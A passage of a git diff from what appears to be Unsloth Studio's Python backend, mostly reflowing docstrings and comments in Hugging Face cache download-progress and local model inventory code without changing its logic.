the blob-hash helper reads the DEFAULT cache's manifest with none of this scoping, so falling through reinstates the hashes just rejected. An empty set degrades to the per-entry name-based fallback.return (expected_total, frozenset())return (expected_total,@@ -661,15 +611,7 @@ async def get_gguf_download_progress_response(def _expected_files_resolver(resolved_repo_id: str, token: Optional[str]) -> Sequence[download_manifest.ExpectedFile]:- """What HF says this variant should contain, paths and declared sizes.-- The only thing that lets a finished variant whose manifest is missing- settle terminal instead of staying partial forever, so it has to be the- metadata's own file list: a byte tally taken from the shared blobs/ dir- cannot tell this quant's bytes from a sibling's. The requirement lookup- is cached, and snapshot_progress only calls this once a reading has- otherwise passed for complete.- """+ """What HF says this variant should contain, paths and declared sizes. The only thing that lets a finished variant whose manifest is missing settle terminal instead of staying partial forever, so it has to be the metadata's own file list: a byte tally from the shared blobs/ dir cannot tell this quant's bytes from a sibling's. The requirement lookup is cached, and snapshot_progress calls this only once a reading has otherwise passed for complete."""if progress_variant is None:return ()requirement = gguf_variants.gguf_variant_requirements(@@ -680,10 +622,8 @@ async def get_gguf_download_progress_response(return requirement.expected_files if requirement is not None else ()def _variant_file_matcher(path: str, *, companions: bool = True) -> bool:- # Main shards are matched by quant label; mmproj and the MTP drafter are downloaded with every- # variant, so they belong to whichever one is being polled.- # companions=False asks the narrower question, whether this path proves the quant ITSELF is here:- # shared companions belong to every quant, so counting them reported bytes for a deleted file.+ # Main shards are matched by quant label; mmproj and the MTP drafter are downloaded with every variant, so they belong to whichever one is being polled.+ # companions=False asks the narrower question, whether this path proves the quant ITSELF is here: shared companions belong to every quant, so counting them reported bytes for a deleted file.if progress_variant is None:return Falseif gguf_plan.is_main_gguf_variant_path(path, progress_variant):@@ -709,15 +649,7 @@ async def get_download_progress_response(expected_bytes: int = 0,hf_token: Optional[str] = None,) -> dict:- """Return download progress for any HuggingFace model repo.-- Checks the local HF cache for completed blobs and in-progress- (.incomplete) downloads. Uses the caller-supplied expected total- when available; otherwise queries HF metadata and caches it.- Also returns ``cache_path``: the realpath of the snapshot directory- (or the cache repo root if no snapshot exists yet) so the UI can- show users where the weights actually live on disk.- """+ """Download progress for any HuggingFace model repo, from completed blobs and in-progress (.incomplete) files in the local HF cache. Uses the caller-supplied expected total when available, else queries and caches HF metadata. ``cache_path`` is the realpath of the snapshot dir (or the cache repo root before one exists) so the UI can show where the weights live."""return await snapshot_progress.snapshot_progress_response(repo_type = "model",repo_id = repo_id,diff --git a/studio/backend/hub/services/models/local_inventory.py b/studio/backend/hub/services/models/local_inventory.pyindex 1a55dbeb41e..c0f835fa6e5 100644--- a/studio/backend/hub/services/models/local_inventory.py+++ b/studio/backend/hub/services/models/local_inventory.py@@ -1,11 +1,7 @@# SPDX-License-Identifier: AGPL-3.0-only# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0-"""Local model, HF cache, LM Studio, and Ollama inventory services.--Ollama logic lives in :mod:`hub.services.models.ollama`; this module-orchestrates all on-device sources and exposes the route handlers.-"""+"""Local model, HF cache, LM Studio and Ollama inventory services. Ollama logic lives in :mod:`hub.services.models.ollama`; this module orchestrates all on-device sources and exposes the route handlers."""from __future__ import annotations@@ -75,8 +71,7 @@ _LOCAL_INVENTORY_MAX_ATTEMPTS = 8class _LocalCacheChanged(RuntimeError):def __init__(self, response: LocalModelListResponse) -> None:super().__init__("local inventory sources changed during the scan")- # Carried so the attempt cap can serve the freshest scan it has instead of looping forever or- # answering with nothing.+ # Carried so the attempt cap can serve the freshest scan it has instead of looping forever or answering with nothing.self.response = response@@ -123,8 +118,7 @@ def _has_immediate_model_weight(if entry.is_file() and _is_immediate_model_weight_file(entry):return Trueexcept OSError:- # Skip individual children that are unreadable (permissions, broken symlinks, etc.) rather than- # failing the entire scan.+ # Skip individual children that are unreadable (permissions, broken symlinks) rather than failing the entire scan.continueexcept OSError:return False@@ -243,10 +237,7 @@ def _scan_models_dir(def _safe_is_dir(path: Path) -> bool:- """``Path.is_dir()`` treating an unreadable path (``PermissionError`` /- ``OSError`` on a restricted ``~/.cache/huggingface/hub``) as "not a- directory", so the inventory skips that source instead of 500ing the Hub page.- """+ """``Path.is_dir()`` treating an unreadable path (``PermissionError`` / ``OSError`` on a restricted ``~/.cache/huggingface/hub``) as "not a directory", so the inventory skips that source instead of 500ing the Hub page."""try:return path.is_dir()except OSError:@@ -314,8 +305,7 @@ def _scan_hf_cache(if not discovered:return []if variant_states is None:- # Reached precisely when the caller's own guarded build already failed, so leaving this bare handed- # the same exception back and undid that guard; degrade to the per-repo reads instead.+ # Reached precisely when the caller's own guarded build already failed, so leaving this bare handed the same exception back and undid that guard; degrade to the per-repo reads instead.try:variant_states = download_manifest.build_variant_state_index([("model", model_id, cache_dir) for _repo, model_id, _updated in discovered],@@ -366,8 +356,7 @@ def _scan_hf_cache(resolved = hf_cache_scan.resolve_hf_cache_realpath(repo_dir)scan_path = Path(resolved) if resolved else repo_dirload_path = repo_dir if active_cache else scan_path- # _apply_format_aware_partial below rewrites per row, so a hybrid repo's gguf row does not taint its- # safetensors row.+ # _apply_format_aware_partial below rewrites per row, so a hybrid repo's gguf row does not taint its safetensors row.rows = _classify_local_path(scan_path,"hf_cache",@@ -446,8 +435,7 @@ def _scan_lmstudio_dir(lm_dir: Path, *, entry_limit: int | None = None) -> List[if not lm_dir.exists() or not lm_dir.is_dir():return []- # A directory that is itself a model dir is not an LM Studio publisher structure, so return it as a- # single entry rather than descend.+ # A directory that is itself a model dir is not an LM Studio publisher structure, so return it as a single entry rather than descend.if _is_model_directory(lm_dir) or _is_diffusers_pipeline_dir(lm_dir):try:updated_at = lm_dir.stat().st_mtime@@ -495,8 +483,7 @@ def _scan_lmstudio_dir(lm_dir: Path, *, entry_limit: int | None = None) -> List[)continue- # A child that is itself a model dir is surfaced directly, not as a publisher; a diffusers pipeline- # counts, or its component subdirs are walked as models.+ # A child that is itself a model dir is surfaced directly, not as a publisher; a diffusers pipeline counts, or its component subdirs are walked as models.if _is_model_directory(child) or _is_diffusers_pipeline_dir(child):try:updated_at = child.stat().st_mtime@@ -697,8 +684,7 @@ async def _collect_models_from_default_sources(lambda path: _discover_hf_cache(path, entry_limit = _MAX_CUSTOM_FOLDER_ENTRIES),folder_path,)- # Carry the registered path: the status registry is keyed on the row, not on the normalized Path- # this scan walks.+ # Carry the registered path: the status registry is keyed on the row, not on the normalized Path this scan walks.custom_sources.append((folder_path, discovered, str(folder["path"])))state_repositories.extend(("model", model_id, folder_path) for _repo, model_id, _updated in discovered@@ -763,8 +749,7 @@ async def _collect_models_from_default_sources(if isinstance(e, OSError):record_scan_failure(row_path, e)continue- # Off the loop, like the scan above it: the probe opens directories, and on a stalled network mount- # scandir sits in the kernel with nothing to yield to.+ # Off the loop, like the scan above it: the probe opens directories, and on a stalled network mount scandir sits in the kernel with nothing to yield to.await asyncio.to_thread(note_scan_folder_scanned, row_path, found = bool(custom_models))local_models.extend(_promote_to_custom_source(model) for model in custom_models)@@ -783,8 +768,7 @@ def _scan_custom_folder(supported_formats: set[ModelFormat] = {"gguf", "safetensors", "adapter"}def _is_supported(m: LocalModelInfo) -> bool:- # A diffusers pipeline keeps its weights in component subdirs, so its root lands as "unknown"; judge- # it on its shape rather than on a format the layout cannot report.+ # A diffusers pipeline keeps its weights in component subdirs, so its root lands as "unknown"; judge it on its shape rather than on a format the layout cannot report.if m.model_format in supported_formats:return Truereturn _is_diffusers_pipeline_dir(Path(m.path))@@ -851,8 +835,7 @@ def _promote_to_custom_source(model: LocalModelInfo) -> LocalModelInfo:"custom",partial = model.partial,requires_variant = model.capabilities.requires_variant,- # Rebuilding from the format alone restored can_chat on rows the classifier had ruled out; the- # format is unchanged here, so carrying the old verdict through is idempotent.+ # Rebuilding from the format alone restored can_chat on rows the classifier had ruled out; the format is unchanged here, so carrying the old verdict through is idempotent.can_chat_override = model.capabilities.can_chat,),}@@ -987,8 +970,7 @@ async def list_local_models_response(models_dir: str = "./models") -> LocalModel"""Coalesce overlapping local inventory requests for the same models root."""def classify(response: LocalModelListResponse) -> LocalModelListResponse:- # Classified inside the shared worker so retrying waiters do not repeat GGUF metadata reads, and off- # the event loop, since classification reads GGUF headers.+ # Classified inside the shared worker so retrying waiters do not repeat GGUF metadata reads, and off the event loop, since classification reads GGUF headers.try:from hub.services.models import catalog_classification@@ -1023,8 +1005,7 @@ async def list_local_models_response(models_dir: str = "./models") -> LocalModel# Discard obsolete results and retry their waiters against the current cache epoch.superseded: Optional[LocalModelListResponse] = Nonefor _attempt in range(_LOCAL_INVENTORY_MAX_ATTEMPTS):- # Epoch first: the sources and folders below are read after it, so any change to them lands in a- # later epoch and the post-scan check sees it.+ # Epoch first: the sources and folders below are read after it, so any change to them lands in a later epoch and the post-scan check sees it.epoch = hf_cache_scan.hf_cache_scans_epoch()custom_folders = await _load_custom_folders()sources = _local_inventory_sources()@@ -1053,14 +1034,9 @@ async def list_local_models_response(models_dir: str = "./models") -> LocalModeldef get_models_folder_response() -> dict:- """Return the directory where downloaded models are stored.-- This is the active HF hub cache (honors ``HF_HOME`` / ``HF_HUB_CACHE``);- the desktop app reveals it in the OS file manager.- """+ """The directory where downloaded models are stored: the active HF hub cache (honors ``HF_HOME`` / ``HF_HUB_CACHE``), which the desktop app reveals in the OS file manager."""path = _resolve_hf_cache_dir()- # Create it if missing so "Open folder" works before the first download: HF builds the cache- # lazily, and studio pre-creates only the default dir, not a user's explicit HF_HOME/HF_HUB_CACHE.+ # Create it if missing so "Open folder" works before the first download: HF builds the cache lazily, and studio pre-creates only the default dir, not a user's explicit HF_HOME/HF_HUB_CACHE.try:path.mkdir(parents = True, exist_ok = True)except OSError as e:diff --git a/studio/backend/hub/services/snapshot_progress.py b/studio/backend/hub/services/snapshot_progress.pyindex a22e61a19f9..38e035cf23e 100644--- a/studio/backend/hub/services/snapshot_progress.py+++ b/studio/backend/hub/services/snapshot_progress.py@@ -1,13 +1,7 @@# SPDX-License-Identifier: AGPL-3.0-only# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0-"""Shared snapshot download-progress computation for models and datasets.--Both scan the cache's ``blobs/`` dir, split finalized vs ``.incomplete`` bytes,-filter to the target revision's expected hashes, and divide by its total size;-only the ``metadata_resolver`` differs. One copy keeps the two from drifting (a-prior hash-filter fix once landed only on the model copy, leaving datasets-summing stale blobs against the wrong total)."""+"""Shared snapshot download-progress computation for models and datasets. Both scan the cache's ``blobs/`` dir, split finalized vs ``.incomplete`` bytes, filter to the target revision's expected hashes, and divide by its total size; only the ``metadata_resolver`` differs. One copy keeps the two from drifting (a prior hash-filter fix once landed only on the model copy, leaving datasets summing stale blobs against the wrong total)."""from __future__ import annotations@@ -37,8 +31,7 @@ logger = get_logger(__name__)# (repo_id, hf_token) -> (expected_total_bytes, expected_blob_hashes)SnapshotMetadataResolver = Callable[[str, Optional[str]], "tuple[int, frozenset[str]]"]-# The files HF says this target should contain: optional, and the only thing that lets a-# materialized snapshot with no manifest settle.+# The files HF says this target should contain: optional, and the only thing that lets a materialized snapshot with no manifest settle.SnapshotExpectedFilesResolver = Callable[[str, Optional[str]], Sequence["download_manifest.ExpectedFile"]]@@ -68,17 +61,7 @@ def _log_progress_step(job_key: str, repo_id: str, variant: Optional[str], progrdef _empty_progress(expected_bytes: int, *, measured: bool = True) -> dict:- """An all-zero reading.-- ``measured`` is the difference between "there is no cache dir for this repo" and "the scan- itself failed". Hydration retires a persisted job on the first and must not on the second: a- transient failure is not evidence that a partial cache was wiped.-- Carried as its own flag, not by omitting ``cache_path``: these dicts are serialized through- DownloadProgressResponse, whose ``cache_path`` defaults to None, so the omission was- reinstated as an explicit null before the frontend ever saw it and the distinction was lost- on every route. An older backend sends neither field, which the frontend reads as unknown,- so the rule still covers it."""+ """An all-zero reading. ``measured`` is the difference between "there is no cache dir for this repo" and "the scan itself failed": hydration retires a persisted job on the first and must not on the second, since a transient failure is not evidence that a partial cache was wiped. Carried as its own flag, not by omitting ``cache_path``: these dicts are serialized through DownloadProgressResponse, whose ``cache_path`` defaults to None, so the omission was reinstated as an explicit null before the frontend ever saw it and the distinction was lost on every route. An older backend sends neither field, which the frontend reads as unknown, so the rule still covers it."""reading = {"downloaded_bytes": 0,"completed_bytes": 0,@@ -96,15 +79,7 @@ _T = TypeVar("_T")class _Lazy(Generic[_T]):- """A value computed at most once, and only once something asks for it.-- The entry's manifest, its newest snapshot dir and the metadata file list are- each wanted by two callers -- the unknown-file-set byte reading and the- completion check -- and the completion check only wants them once its cheap- byte guards have passed. Taking them up front would put a state-dir lookup,- a ``snapshots/`` listing and a metadata call on every poll of every repo- that is still mid-download.- """+ """A value computed at most once, and only once something asks for it. The entry's manifest, its newest snapshot dir and the metadata file list are each wanted by two callers (the unknown-file-set byte reading and the completion check) and the completion check only wants them once its cheap byte guards have passed; taking them up front would put a state-dir lookup, a ``snapshots/`` listing and a metadata call on every poll of every repo that is still mid-download."""__slots__ = ("_compute", "_value", "_loaded")@@ -126,16 +101,7 @@ def _variant_bytes_on_disk(variant_file_matcher: Optional["VariantFileMatcher"],active_partial_hashes: "frozenset[str]" = frozenset(),) -> int:- """Bytes a variant owns, read from the snapshot dir instead of ``blobs/``.-- The snapshot dir is the one variant-scoped view of the cache: its entries- are named per file, so a sibling quant is excluded by name, whereas in the- shared ``blobs/`` dir a sibling's bytes are indistinguishable from this- variant's and counting them wholesale is the "instant ~900 MB" bug.- ``stat`` follows HF's symlink layout and reads the Windows copy layout- directly. The latter matters even with resolved hashes: recent Hub clients- can materialize completed files without retaining a finalized blob entry.- """+ """Bytes a variant owns, read from the snapshot dir instead of ``blobs/``. The snapshot dir is the one variant-scoped view of the cache: its entries are named per file, so a sibling quant is excluded by name, whereas in the shared ``blobs/`` dir a sibling's bytes are indistinguishable from this variant's and counting them wholesale is the "instant ~900 MB" bug. ``stat`` follows HF's symlink layout and reads the Windows copy layout directly, which matters even with resolved hashes since recent Hub clients can materialize completed files without retaining a finalized blob entry."""if snapshot_dir is None:return 0total = 0@@ -144,8 +110,7 @@ def _variant_bytes_on_disk(if not download_manifest.expected_path_is_safe(expected.path):continueif expected.sha256 and expected.sha256 in active_partial_hashes:- # A force or retry can leave the previous materialized file beside a replacement for the same- # logical blob; count the current partial, not both generations.+ # A force or retry can leave the previous materialized file beside a replacement for the same logical blob; count the current partial, not both generations.continuetry:total += (snapshot_dir / expected.path).stat().st_size@@ -158,14 +123,7 @@ def _variant_bytes_on_disk(def _walk_files(root: Path) -> "tuple[list[Path], bool]":- """Every file under ``root``, and whether the traversal saw all of it.-- Not ``rglob``: it suppresses every OSError raised while scanning (documented behaviour- since 3.13), so an unreadable subtree comes back as a SHORT list that is indistinguishable- from an empty one -- and a caller asking "is the variant here?" then answers a confident- no about a directory it could not read. ``os.scandir`` reports the failure, and a subtree- that is genuinely missing is not one.- """+ """Every file under ``root``, and whether the traversal saw all of it. Not ``rglob``: it suppresses every OSError raised while scanning (documented behaviour since 3.13), so an unreadable subtree comes back as a SHORT list indistinguishable from an empty one, and a caller asking "is the variant here?" then answers a confident no about a directory it could not read. ``os.scandir`` reports the failure, and a subtree that is genuinely missing is not one."""files: list[Path] = []complete = Truestack = [root]@@ -194,17 +152,10 @@ def _walk_files(root: Path) -> "tuple[list[Path], bool]":def _variant_main_shard_present(snapshot_dir: Optional[Path], variant_file_matcher: Optional["VariantFileMatcher"]) -> Optional[bool]:- """Whether the variant's OWN files are in the snapshot dir. None when unanswerable.-- The narrower question ``companions = False`` asks: shared companions belong to every quant- in the repo, so their presence says nothing about this one. Used on the path where the blob- hashes could not be resolved -- the snapshot dir is still named per file, so it can settle- absence even when the hash filter cannot, and an unreadable or absent dir stays unknown.- """+ """Whether the variant's OWN files are in the snapshot dir. None when unanswerable. The narrower question ``companions = False`` asks: shared companions belong to every quant in the repo, so their presence says nothing about this one. Used on the path where the blob hashes could not be resolved, since the snapshot dir is still named per file and can settle absence even when the hash filter cannot; an unreadable or absent dir stays unknown."""if snapshot_dir is None or variant_file_matcher is None:return None- # An entry we could not read may BE the main shard, so a transient failure is not evidence the- # variant is gone: a positive match elsewhere still settles it, otherwise the reading is unknown.+ # An entry we could not read may BE the main shard, so a transient failure is not evidence the variant is gone: a positive match elsewhere still settles it, otherwise the reading is unknown.entries, complete = _walk_files(snapshot_dir)for path in entries:relative = path.relative_to(snapshot_dir).as_posix()@@ -217,12 +168,7 @@ def _variant_main_shard_present(def _retained_snapshot_dirs(entry: Path) -> list[Path]:- """Every snapshot the repo cache dir keeps, newest first.-- A cache can hold several revisions, and the requested variant is not always in the newest:- reading only that one reported a complete cached quant as 0 bytes and never verified its- manifest, so it stayed at 99% and adoptable.- """+ """Every snapshot the repo cache dir keeps, newest first. A cache can hold several revisions, and the requested variant is not always in the newest: reading only that one reported a complete cached quant as 0 bytes and never verified its manifest, so it stayed at 99% and adoptable."""try:snapshots = [child for child in (entry / "snapshots").iterdir() if child.is_dir()]except OSError:@@ -233,11 +179,7 @@ def _retained_snapshot_dirs(entry: Path) -> list[Path]:def _variant_present_in_any_snapshot(entry: Path, variant_file_matcher: Optional["VariantFileMatcher"]) -> Optional[bool]:- """``_variant_main_shard_present`` over every snapshot the repo dir retains.-- True as soon as one holds the variant's own file; False only when every snapshot was read- and none did; None when there was nothing to read or a read failed, which is unknown.- """+ """``_variant_main_shard_present`` over every snapshot the repo dir retains. True as soon as one holds the variant's own file; False only when every snapshot was read and none did; None when there was nothing to read or a read failed, which is unknown."""snapshots = _retained_snapshot_dirs(entry)if not snapshots:return None@@ -252,32 +194,20 @@ def _variant_present_in_any_snapshot(def _materialized_bytes(snapshot_dir: Path, variant_file_matcher: "VariantFileMatcher") -> int:- """Bytes the variant's files present in the snapshot dir.-- A predicate, not a file list, because this is the path where the file list- is precisely what could not be determined. That makes it a lower bound on- the wrong side for shared companions -- the matcher accepts every mmproj and- drafter in the repo, while a plan fetches one of each -- so it is fit for a- byte reading the caller clamps and displays, and not for deciding whether a- download finished. ``stat`` follows the link, so a blob that was written but- never linked contributes nothing, and the Windows copy layout is read as is.- """+ """Bytes the variant's files present in the snapshot dir. A predicate, not a file list, because this is the path where the file list is precisely what could not be determined. That makes it a lower bound on the wrong side for shared companions (the matcher accepts every mmproj and drafter in the repo, while a plan fetches one of each) so it is fit for a byte reading the caller clamps and displays, and not for deciding whether a download finished. ``stat`` follows the link, so a blob that was written but never linked contributes nothing, and the Windows copy layout is read as is."""try:entries = list(snapshot_dir.rglob("*"))except OSError:return 0- # Same false "still active" as the companion clause below, reached by a stranded sidecar.entries = [path for path in entries if not is_appledouble_metadata(path)]def _accepts(relative: str, *, companions: bool) -> bool:- # A matcher that understands the distinction gets asked for it; only the GGUF matcher takes the keyword today.try:return bool(variant_file_matcher(relative, companions = companions))except TypeError:return bool(variant_file_matcher(relative))- # Companions are shared by every quant in the repo, so alone they are not evidence THIS one is- # here: a stranded companion left a positive reading that hydration re-adopts.+ # Companions are shared by every quant in the repo, so alone they are not evidence THIS one is here: a stranded companion left a positive reading that hydration re-adopts.owns_a_main = Falsefor path in entries:try:@@ -336,11 +266,7 @@ def _snapshot_complete_on_disk(return Falsemanifest = entry_manifest.get()if manifest is None:- # HF metadata names the same files a manifest does, so verify against it: a manifest never- # written, deleted, or under an unnameable cache scope is not evidence of an unfinished download,- # and refusing left a materialized snapshot partial forever.- # Nothing weaker will do: expected_bytes is a catalog hint, and a blobs/ tally cannot tell this- # variant's bytes from a sibling's.+ # HF metadata names the same files a manifest does, so verify against it: a manifest never written, deleted, or under an unnameable cache scope is not evidence of an unfinished download, and refusing left a materialized snapshot partial forever. Nothing weaker will do: expected_bytes is a catalog hint, and a blobs/ tally cannot tell this variant's bytes from a sibling's.metadata_expected = metadata_files.get()if not metadata_expected:return False@@ -351,11 +277,7 @@ def _snapshot_complete_on_disk(started_at = "",expected_files = metadata_expected,)- # ANY retained snapshot: the variant can be complete in an older revision while the newest holds- # only a sibling, and checking the newest alone left that download at 99% forever.- # An older revision can carry the same FILENAMES at the same sizes with different content and- # verify_against_disk does not read sha256, so require the entries to resolve to known hashes;- # with none resolved the filename check stands alone.+ # ANY retained snapshot: the variant can be complete in an older revision while the newest holds only a sibling, and checking the newest alone left that download at 99% forever. An older revision can carry the same FILENAMES at the same sizes with different content and verify_against_disk does not read sha256, so require the entries to resolve to known hashes; with none resolved the filename check stands alone.for snap in snapshots:if not download_manifest.verify_against_disk(manifest, snap).ok:continue@@ -365,12 +287,7 @@ def _snapshot_complete_on_disk(def _referenced_commits(entry: Path) -> "frozenset[str]":- """Commits this repo cache dir still points at.-- HF records the commit a branch or tag resolved to in ``refs/<revision>`` on every- snapshot_download whose revision was not already a raw sha, so for the default ``main``- the file is always there. It is the one revision marker that survives without a manifest.- """+ """Commits this repo cache dir still points at. HF records the commit a branch or tag resolved to in ``refs/<revision>`` on every snapshot_download whose revision was not already a raw sha, so for the default ``main`` the file is always there. It is the one revision marker that survives without a manifest."""commits: set[str] = set()try:refs = list((entry / "refs").rglob("*"))@@ -393,13 +310,7 @@ def _referenced_commits(entry: Path) -> "frozenset[str]":def _snapshot_is_stale_copy(snapshot: Path, manifest: "Optional[download_manifest.Manifest]") -> bool:- """Whether ``snapshot`` names a revision this cache dir has moved off.-- Only asked where there is no symlink to read. HF names a snapshot dir after its commit, so- a dir named by neither the manifest's recorded commit nor any live ref is an older- revision, and its same-named files are not this download's bytes. Neither marker present- leaves the question unanswerable, and unanswerable is not a mismatch.- """+ """Whether ``snapshot`` names a revision this cache dir has moved off. Only asked where there is no symlink to read. HF names a snapshot dir after its commit, so a dir named by neither the manifest's recorded commit nor any live ref is an older revision, and its same-named files are not this download's bytes. Neither marker present leaves the question unanswerable, and unanswerable is not a mismatch."""commit_hash = download_manifest.normalized_commit_hash(getattr(manifest, "commit_hash", None))if commit_hash:return snapshot.name != commit_hash@@ -412,13 +323,7 @@ def _snapshot_resolves_to(snapshot: Path,expected_hashes: "frozenset[str]",) -> bool:- """Whether every expected file in ``snapshot`` points at one of ``expected_hashes``.-- HF names a blob by its hash and the snapshot entry links to it, so the link target settles- which revision is materialized here. A copy-layout cache (Windows without symlinks) has no- target to read, and neither does a reading with no manifest to name the files, so both fall- back to dating the snapshot by revision.- """+ """Whether every expected file in ``snapshot`` points at one of ``expected_hashes``. HF names a blob by its hash and the snapshot entry links to it, so the link target settles which revision is materialized here. A copy-layout cache (Windows without symlinks) has no target to read, and neither does a reading with no manifest to name the files, so both fall back to dating the snapshot by revision."""if manifest is None:return not _snapshot_is_stale_copy(snapshot, None)for expected in getattr(manifest, "expected_files", ()) or ():@@ -468,20 +373,14 @@ def compute_snapshot_progress(active_root = Path(metadata_hub_cache) if metadata_hub_cache else Noneexpected_total = max(expected_bytes, 0)- # Always resolve the revision's blob hashes so stale blobs from a superseded revision cannot- # inflate the count; they degrade to empty (count-all) only when metadata is unavailable (e.g.- # offline). Take the larger total so a low caller hint cannot cap the bar.+ # Always resolve the revision's blob hashes so stale blobs from a superseded revision cannot inflate the count; they degrade to empty (count-all) only when metadata is unavailable (e.g. offline). Take the larger total so a low caller hint cannot cap the bar.meta_total, expected_hashes = metadata_resolver(repo_id, hf_token)meta_total = max(0, meta_total)expected_total = max(expected_total, meta_total)- # Without resolved hashes a variant must not count unscoped blobs, since sibling quants share one- # blobs/ dir; a no-variant snapshot owns the whole dir and counts unscoped.+ # Without resolved hashes a variant must not count unscoped blobs, since sibling quants share one blobs/ dir; a no-variant snapshot owns the whole dir and counts unscoped.count_unscoped = variant is None- # An empty hash set means the expected file set could not be determined, not that the variant has- # no bytes: model_info failing (offline, or a 401 on a gated repo) is negatively cached, so one- # failed lookup would report a finished 33 GB variant as "0 B of 33 GB" for the whole TTL. Fall- # back to the snapshot dir's own files.+ # An empty hash set means the expected file set could not be determined, not that the variant has no bytes: model_info failing (offline, or a 401 on a gated repo) is negatively cached, so one failed lookup would report a finished 33 GB variant as "0 B of 33 GB" for the whole TTL. Fall back to the snapshot dir's own files.variant_file_set_unknown = variant is not None and not expected_hashes# Resolved at most once, and only if a reading gets far enough to need it.metadata_files: "_Lazy[tuple[download_manifest.ExpectedFile, ...]]" = _Lazy(@@ -493,9 +392,7 @@ def compute_snapshot_progress()readings: list[tuple[int, int, Optional[str], bool, Optional[bool]]] = []- # The enumeration suppresses OSError per root, so an unreadable cache root came back as "no dirs",- # indistinguishable from a wiped cache, which hydration retires the job on. Collected so the empty- # answer below can say unknown instead of absent.+ # The enumeration suppresses OSError per root, so an unreadable cache root came back as "no dirs", indistinguishable from a wiped cache, which hydration retires the job on. Collected so the empty answer below can say unknown instead of absent.scan_errors: list = []cache_dirs = (preferred_repo_cache_dirs(@@ -512,20 +409,16 @@ def compute_snapshot_progress()for entry in cache_dirs:completed_bytes = 0- # Keyed by logical blob: a broken advisory lock leaves several writers racing on one etag, each- # downloading the WHOLE file, so summing them overshoots.+ # Keyed by logical blob: a broken advisory lock leaves several writers racing on one etag, each downloading the WHOLE file, so summing them overshoots.partial_bytes: dict[str, int] = {}completed_hashes: set[str] = set()- # A partial attributable to no target is not evidence for this variant, since it may be a- # sibling quant's, nor against it while the hashes are unresolved, and the by-name scan cannot- # see it because a partial is not linked into a snapshot yet.+ # A partial attributable to no target is not evidence for this variant, since it may be a sibling quant's, nor against it while the hashes are unresolved, and the by-name scan cannot see it because a partial is not linked into a snapshot yet.unattributable_partial = Falsecache_path = hf_cache_scan.resolve_hf_cache_realpath(entry)blobs_dir = entry / "blobs"# Skip a blob that vanished mid-poll rather than zeroing the reading.try:- # os.stat, not Path.is_dir(): is_dir() swallows the OSError and answers False, turning a Windows ACL- # or network-filesystem failure into a MEASURED absence hydration retires on.+ # os.stat, not Path.is_dir(): is_dir() swallows the OSError and answers False, turning a Windows ACL or network-filesystem failure into a MEASURED absence hydration retires on.blobs_present = stat_module.S_ISDIR(os.stat(blobs_dir).st_mode)except FileNotFoundError:blobs_present = False@@ -536,8 +429,7 @@ def compute_snapshot_progress(try:blob_entries = list(blobs_dir.iterdir())except OSError as exc:- # An unreadable blobs dir is not an empty one: swallowing it produced a measured zero- # (target_present false, cache_measured true) and retired a job whose cache was never read.+ # An unreadable blobs dir is not an empty one: swallowing it produced a measured zero (target_present false, cache_measured true) and retired a job whose cache was never read.scan_errors.append(exc)blob_entries = []for f in blob_entries:@@ -564,19 +456,13 @@ def compute_snapshot_progress(completed_hashes.add(f.name)completed_bytes += f.stat().st_sizeexcept OSError as exc:- # A blob we could not inspect is not a blob that is not there: swallowing it produced a MEASURED- # absence, which hydration reads as gone.+ # A blob we could not inspect is not a blob that is not there: swallowing it produced a MEASURED absence, which hydration reads as gone.scan_errors.append(exc)continue- # A finalized blobs/<hash> supersedes every partial for the same logical blob, so counting both- # overshot the expected total and pinned a downloaded variant at 0.99 until the orphan was swept.+ # A finalized blobs/<hash> supersedes every partial for the same logical blob, so counting both overshot the expected total and pinned a downloaded variant at 0.99 until the orphan was swept.for blob_hash in completed_hashes:partial_bytes.pop(blob_hash, None)- # Largest wins deliberately: preferring the freshest mtime reads better against a corpse but- # oscillates between two genuinely live writers, which is what a broken advisory lock produces.- # A corpse should not outlive the job that made it (a terminal job sweeps its own blobs, and a- # backend that died first is caught at boot); if one survives both, over-reading until the next- # sweep is a smaller wrong than a reading that will not sit still.+ # Largest wins deliberately: preferring the freshest mtime reads better against a corpse but oscillates between two genuinely live writers, which is what a broken advisory lock produces. A corpse should not outlive the job that made it (a terminal job sweeps its own blobs, and a backend that died first is caught at boot); if one survives both, over-reading until the next sweep is a smaller wrong than a reading that will not sit still.in_progress_bytes = sum(partial_bytes.values())snapshot_dirs: "_Lazy[list[Path]]" = _Lazy(lambda entry = entry: _retained_snapshot_dirs(entry)@@ -590,9 +476,7 @@ def compute_snapshot_progress())if variant is not None:- # The best reading across every retained snapshot, since the variant can live in an older- # revision, and because huggingface_hub 1.18's Windows copy layout can move a completed file- # straight into the snapshot and leave a blob-only tally at zero.+ # The best reading across every retained snapshot, since the variant can live in an older revision, and because huggingface_hub 1.18's Windows copy layout can move a completed file straight into the snapshot and leave a blob-only tally at zero.manifest = entry_manifest.get()on_disk = max((@@ -607,34 +491,24 @@ def compute_snapshot_progress(),default = 0,)- # Clamped, because the matcher behind the no-manifest half accepts every companion in the repo and- # so can overshoot.+ # Clamped, because the matcher behind the no-manifest half accepts every companion in the repo and so can overshoot.if expected_total > 0:on_disk = min(on_disk, expected_total)completed_bytes = max(completed_bytes, on_disk)- # Sibling quants share one repo cache dir, so deleting a variant's files leaves the dir standing- # and the reading came back "zero bytes, cache_path names a directory", which hydration adopts as- # a phantom. False only on positive evidence of absence; anything less certain stays None.+ # Sibling quants share one repo cache dir, so deleting a variant's files leaves the dir standing and the reading came back "zero bytes, cache_path names a directory", which hydration adopts as a phantom. False only on positive evidence of absence; anything less certain stays None.target_present: Optional[bool] = Noneif variant is not None and not variant_file_set_unknown:- # The MATERIALIZED file, not the blob tally: deleting a snapshot symlink leaves the finalized blob- # behind and a shared companion keeps the count positive, so a quant that is gone read as present.- # Bytes only stand in when there is nothing readable to scan.+ # The MATERIALIZED file, not the blob tally: deleting a snapshot symlink leaves the finalized blob behind and a shared companion keeps the count positive, so a quant that is gone read as present. Bytes only stand in when there is nothing readable to scan.scanned = _variant_present_in_any_snapshot(entry, variant_file_matcher)if scanned is not None:target_present = scanned or bool(in_progress_bytes)else:target_present = bool(completed_bytes or in_progress_bytes)elif variant is not None:- # The byte reading already walked the snapshot dir, whose entries are named per file, so it can- # answer whether a main shard of THIS quant is here; without it a repo dir kept alive by a sibling- # read as "zero bytes, cache_path names a directory" and was adopted as a resumable phantom.- # Across EVERY snapshot the entry retains, not only the newest: a quant living in an older- # revision read as absent and 